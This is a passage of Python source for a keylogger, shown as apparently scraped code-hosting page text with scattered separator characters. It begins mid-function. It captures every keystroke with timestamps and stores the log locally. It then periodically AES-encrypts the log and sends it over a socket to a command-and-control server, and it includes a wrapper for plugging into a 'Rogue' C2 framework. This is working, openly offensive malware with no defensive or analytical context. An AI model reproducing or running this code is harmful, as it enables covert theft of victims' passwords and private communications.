elif key == keyboard.Key.enter:
|
||||||
|
key_str = '\n'
|
||||||
|
elif key == keyboard.Key.tab:
|
||||||
|
key_str = '\t'
|
||||||
|
elif key == keyboard.Key.backspace:
|
||||||
|
key_str = '[BACKSPACE]'
|
||||||
|
elif key == keyboard.Key.esc:
|
||||||
|
key_str = '[ESC]'
|
||||||
|
else:
|
||||||
|
key_str = f'[{key.name}]'
|
||||||
|
|
||||||
|
timestamp = datetime.datetime.now().isoformat()
|
||||||
|
log_entry = {
|
||||||
|
"timestamp": timestamp,
|
||||||
|
"key": key_str,
|
||||||
|
"event": "press"
|
||||||
|
}
|
||||||
|
|
||||||
|
self.log.append(log_entry)
|
||||||
|
|
||||||
|
# Write to local file as backup
|
||||||
|
self.write_to_local(log_entry)
|
||||||
|
|
||||||
|
def write_to_local(self, entry):
|
||||||
|
"""Write log entry to local file"""
|
||||||
|
log_file = os.path.join(self.output_dir, f"keylog_{datetime.datetime.now().strftime('%Y%m%d')}.log")
|
||||||
|
with open(log_file, 'a') as f:
|
||||||
|
f.write(f"{entry['timestamp']} - {entry['key']}\n")
|
||||||
|
|
||||||
|
def encrypt_logs(self, data):
|
||||||
|
"""Encrypt log data for exfiltration"""
|
||||||
|
cipher = AES.new(self.encryption_key, AES.MODE_EAX)
|
||||||
|
ciphertext, tag = cipher.encrypt_and_digest(json.dumps(data).encode())
|
||||||
|
encrypted = cipher.nonce + tag + ciphertext
|
||||||
|
return base64.b64encode(encrypted).decode()
|
||||||
|
|
||||||
|
def exfil_logs(self):
|
||||||
|
"""Exfiltrate logs to C2 server"""
|
||||||
|
if not self.log:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Take a copy of current logs and clear
|
||||||
|
logs_to_send = self.log.copy()
|
||||||
|
self.log.clear()
|
||||||
|
|
||||||
|
try:
|
||||||
|
encrypted_data = self.encrypt_logs(logs_to_send)
|
||||||
|
|
||||||
|
# Send to C2
|
||||||
|
s = socket.socket()
|
||||||
|
s.connect((self.c2_host, self.c2_port))
|
||||||
|
s.sendall(encrypted_data.encode())
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
print(f"[+] Exfiltrated {len(logs_to_send)} keystrokes to {self.c2_host}:{self.c2_port}")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Exfiltration failed: {e}")
|
||||||
|
# Restore logs if exfiltration failed
|
||||||
|
self.log = logs_to_send + self.log
|
||||||
|
|
||||||
|
def start_exfiltration_thread(self):
|
||||||
|
"""Start thread for periodic exfiltration"""
|
||||||
|
def exfil_loop():
|
||||||
|
while self.running:
|
||||||
|
time.sleep(self.exfil_interval)
|
||||||
|
self.exfil_logs()
|
||||||
|
|
||||||
|
thread = threading.Thread(target=exfil_loop, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
"""Start the keylogger"""
|
||||||
|
print(f"[+] Starting keylogger. Exfiltration to {self.c2_host}:{self.c2_port} every {self.exfil_interval}s")
|
||||||
|
print(f"[+] Local logs stored in: {self.output_dir}")
|
||||||
|
print("[+] Press Ctrl+C to stop")
|
||||||
|
|
||||||
|
self.running = True
|
||||||
|
self.start_exfiltration_thread()
|
||||||
|
|
||||||
|
try:
|
||||||
|
with keyboard.Listener(on_press=self.on_press) as listener:
|
||||||
|
listener.join()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("[+] Stopping keylogger...")
|
||||||
|
finally:
|
||||||
|
self.stop()
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
"""Stop the keylogger"""
|
||||||
|
self.running = False
|
||||||
|
# Final exfiltration
|
||||||
|
self.exfil_logs()
|
||||||
|
print("[+] Keylogger stopped")
|
||||||
|
|
||||||
|
def rogue_integration():
|
||||||
|
"""Wrapper for Rogue C2 integration"""
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(description='Rogue Keylogger')
|
||||||
|
parser.add_argument('--interval', type=int, default=60, help='Exfiltration interval in seconds')
|
||||||
|
parser.add_argument('--c2-host', help='C2 server hostname')
|
||||||
|
parser.add_argument('--c2-port', type=int, default=9091, help='C2 server port')
|
||||||
|
|
||||||
|
args, unknown = parser.parse_known_args()
|
||||||
|
|
||||||
|
# Check if we're being called from Rogue with arguments
|
||||||
|
if len(sys.argv) > 1 and sys.argv[1] == '--rogue-integration':
|
||||||
|
# Parse Rogue-style arguments
|
||||||
|
args.interval = 60
|
||||||
|
args.c2_host = None
|
||||||
|
|
||||||
|
keylogger = KeyLogger(
|
||||||
|
exfil_interval=args.interval,
|
||||||
|
c2_host=args.c2_host,
|
||||||
|
c2_port=args.c2_port
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
keylogger.start()
|
||||||
|
return "[+] Keylogger started successfully"
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] Keylogger failed to start: {e}"
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
# When run directly, start the keylogger
|
||||||
|
keylogger = KeyLogger()
|
||||||
|
keylogger.start()
|
||||||
Loading…
Reference in New Issue
Block a user